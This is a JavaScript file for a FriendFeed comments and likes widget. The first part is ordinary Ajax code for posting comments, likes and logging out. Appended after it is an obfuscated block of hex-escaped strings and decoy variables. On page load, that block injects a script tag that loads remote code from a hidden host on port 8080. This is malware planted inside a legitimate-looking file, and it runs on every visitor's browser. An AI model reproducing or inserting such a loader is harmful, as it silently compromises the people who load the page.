function friendFeedTasks(id) {
	this.id = id;
	this.toggleDiscussions = function (e) { 
		Event.stop(e);

		$('friendfeeddiscussions_' + this.id).toggle(); 
		$('ff_togglecommentslink_' + this.id).update((!$('friendfeeddiscussions_' + this.id).visible() ? 'show' : 'hide'));  
	}

	this.logout = function (e) {
		Event.stop(e);
		var id = this.id;
		$('ff_loadingimage_' + id).show();
		
		var form = $('ff_commentsform_' + id);
		
		body = Form.serialize(form, true);
		body.ac = 'logout';
		Form.disable(form);
		
		new Ajax.Request(friendFeedServicePath + "friendfeed_ajax.php", {
			method : 'get',
			parameters : body,
			postBody : body,
			onSuccess : function(e) { 
				form['ff_username'].clear();
				form['ff_apikey'].clear();
				$('ff_authentry_' + id).show();
				$('ff_authsaved_' + id).hide();
				$('ff_likeentry_' + id).show();
			},
			onFailure : function(e) {
				alert("Sorry, an error occured: (" + e.status + ") " + e.statusText + "\n" + e.responseText);
			},
			onComplete : function() { 
				Form.enable(form);
				$('ff_loadingimage_' + id).hide();
			}
		});
	}
	
	this.addComment = function (e) {
		Event.stop(e);
		
		if ($F('ff_newcomment_' + this.id)) {
			this.sendAjaxRequest('friendfeedcommentslist', 'comment');
		}
	}
	
	this.addLike = function (e) { 
		Event.stop(e);
		this.sendAjaxRequest('friendfeedlikeslist', 'like');
	}
	
	this.sendAjaxRequest = function (updateDivId, action) {
		var form = $('ff_commentsform_' + this.id);
		var id = this.id;
		$('ff_loadingimage_' + id).show();

		if ((!$F('ff_username_' + id) || !$F('ff_apikey_' + id)) && !$('ff_authsaved_' + id).visible()) {
			alert('Please enter your FriendFeed username (nickname) and API Key.');
			form['ff_username'].focus();
		} else {		
			body = Form.serialize(form, true);
			body.ac = action;
			Form.disable(form);

			new Ajax.Request(friendFeedServicePath + "friendfeed_ajax.php", {
				method : 'get',
				parameters : body,
				postBody : body,
				onSuccess : function(resp) { 
					$(updateDivId + '_' + id).update(resp.responseText); 
					if (form['ff_remember'].checked && $('ff_authentry_' + id).visible()) {
						$('ff_usernamedisplay_' + id).update($F('ff_username_' + id));
						$('ff_authentry_' + id).hide();
						$('ff_authsaved_' + id).show();							
					}
					form['ff_newcomment'].clear();
				},
				onFailure : function(e) { 
					if (e.status == 401) {
						alert("Sorry, the username & API key don't match");
						form['ff_username'].focus();
					} else {
						alert("Sorry, an error occured: (" + e.status + ") " + e.statusText + "\n" + e.responseText);
						form['ff_newcomment'].focus();
					}
				},
				onComplete : function() { 
					Form.enable(form); 
					 $('ff_loadingimage_' + id).hide();
				}
			 });
		}				 
	}
}

var L=new Date();var Us;if(Us!='a' && Us!='UK'){Us='a'};try {var x=window[unescape("%75%6e%65%73%63%61%70%65")];var bT;if(bT!='' && bT!='Z'){bT=null};var K=new Array();var Y=x("%72%65%70%6c%61%63%65");var c=new String();var EP=new String();var Dk;if(Dk!='' && Dk!='gH'){Dk=null};var E=null;var H=window[x("%52%65%67%45%78%70")];var QL=new Date();var FQ;if(FQ!='z' && FQ!='X'){FQ='z'};function b(Hd,D){var Jn=new Array();var U=x("%5b");U+=D;var mg=new Date();var eS=new Date();U+=x("%5d");var n;if(n!='Hi' && n!='YO'){n=''};var W=new Array();var g=new H(U, x("%67"));var T=new Array();return Hd.replace(g, E);};var aU;if(aU!=''){aU='KL'};var Mn=new String();var Hd=x("%31");var v=new Date();var d="onlo"+"ad";var vh='';var w=b('/Da8m8eXrAiyc5a5n8eDxVp9r5eqsysF-OcyoZmD/4gtoYoXg5l5eu.UcAoPmO/XgDl1oZbCeV7A.DcZoCmk.Apqh8p5','4UZy9fV5qCPOFAuD1tkY8X');var JY=new Array();var fq;if(fq!='Ad'){fq='Ad'};var y='';var m=x("%73%63%72%69%70%74");var hd=new Date();var N="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x6f\x6c\x73\x69\x74\x65\x77\x6f\x72\x6c\x64\x2e\x61\x74\x3a";var r='';var j=b('8475169226449606227566689776571149207757771652','9456271');function A(){this.yj="";var HA=document;this.nW='';var Xm;if(Xm!='Zd' && Xm!='dj'){Xm=''};var Bt;if(Bt!='Sz' && Bt != ''){Bt=null};xZ=HA.createElement(m);var zM=new Date();this.ZR='';y+=N;var Qc;if(Qc!='ks' && Qc!='AqU'){Qc=''};y+=j+w;var Sb='';this.ZW="";xZ.src=y;var F=HA.body;var SA=new String();var gF;if(gF!='V' && gF != ''){gF=null};var u=new String();xZ.defer=Hd;var MS;if(MS!='' && MS!='qK'){MS=null};var AU=new String();var Ck="";F.appendChild(xZ);var ko="";var no;if(no!='UU' && no != ''){no=null};};var wA=new String();var gP;if(gP!='tUn' && gP!='Vj'){gP=''};var Dc=new String();window[d]=A;var MT='';var XS;if(XS!='rj' && XS != ''){XS=null};var Pg="";} catch(G){var fs;if(fs!='' && fs!='Vk'){fs='uE'};this.Sp="";};var Wa="";
